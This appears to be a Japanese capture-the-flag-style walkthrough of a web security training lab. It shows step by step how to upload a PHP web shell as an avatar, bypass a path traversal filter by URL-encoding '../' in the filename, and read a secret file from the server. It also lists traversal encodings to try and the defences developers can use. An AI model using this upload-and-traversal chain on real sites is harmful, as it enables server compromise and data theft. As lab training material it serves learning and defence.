Hello there, ('ω')ノ
🎯 ラボの目的
このラボでは 画像アップロード機能 + パストラバーサル脆弱性 を悪用して Webシェルをサーバーの実行可能ディレクトリに配置 → コマンド実行 します。
- 通常の
/files/avatars/→ 実行不可 - 1階層上の
/files/→ 実行可能 ../(パストラバーサル)で uploads先をズラす のが攻撃ポイント
✅ 攻略手順(ステップバイステップ)
1️⃣ ログインしてアバター画像のURLを確認
- ユーザー
wiener:peterでログイン - アバター画像を適当にアップロード
- プロフィールページ → 画像URLを確認:
https://<LAB-ID>.web-security-academy.net/files/avatars/<image-name>
- Burpで GET /files/avatars/<image-name> を Send to Repeater
2️⃣ Webシェルファイルを作成
ローカルに以下の内容の exploit.php を作成:
<?php echo file_get_contents('/home/carlos/secret'); ?>
3️⃣ 通常アップロード → ソースコード漏洩のみ
- 通常通り
exploit.phpをアバターとしてアップロード - 再度
/files/avatars/exploit.phpにアクセス → PHPコードそのまま表示 →/files/avatars/は 実行不可 と確認
4️⃣ Burpでアップロードリクエストを編集
✅ POST /my-account/avatar リクエストを Repeater に送る
Content-Disposition: form-data; name="avatar"; filename="exploit.php"↓ パストラバーサル文字列に変更:
filename="../exploit.php"
- Send → サーバー側で
../が除去され失敗
5️⃣ パストラバーサル文字列をURLエンコードしてバイパス
- 再度
filename=..%2fexploit.phpに書き換えて送信
filename="..%2fexploit.php"
- Send → レスポンス:
The file avatars/../exploit.php has been uploaded.
→ URLデコード → 実際は /files/exploit.php に保存されたと推測
6️⃣ Webシェルへアクセスして秘密情報取得
✅ RepeaterのGETリクエストで確認
GET /files/avatars/..%2fexploit.php HTTP/1.1
or
GET /files/exploit.php HTTP/1.1
- → レスポンスに Carlosのsecret が表示される
7️⃣ 解答を提出
- 抜き出した文字列(
/home/carlos/secretの内容)をコピー - ラボ画面上部の Submit solution ボタンから提出 → ラボクリア!🎉
✅ 攻撃の本質ポイント
| 脆弱性 | 説明 |
|---|---|
| パストラバーサル | ../ や ..%2f による階層ズラし |
| 実行権限の差 | /files/avatars/ → 実行不可、/files/ → 実行可 |
| サーバー側のデコード | URLエンコード%2fを/に復元した |
🎯 攻撃者視点でのチェックリスト
../,%2e%2e%2f,..%2fなど多様な表現で試す- アップロード先・アクセス先パスをズラして実行権限のある場所に誘導
- アプリケーションが どこでURLデコードするか を分析
✅ 開発者側の防御策
| 防御策 | 説明 |
|---|---|
| パストラバーサルの除去 | ../, %2f, %5c など全てのバリエーションを無効化 |
| ファイル名正規化 | OSのrealpath()やcanonicalize()で絶対パス取得 → チェック |
| アップロードは常に 実行不可ディレクトリ に保存 | |
| ユーザー入力値を ファイルパスに絶対使用しない |
✅ まとめ
「パストラバーサル + 実行権限ディレクトリ」 この組み合わせを見つけるのが 実務ペネトレーションテストでも最強クラスのバグハントになります。
このラボで学べたことは、
- Webアプリのアップロード検証 bypass
- LFI/RFI や Webシェル設置 の応用技術 として応用できます。
Best regards, (^^ゞ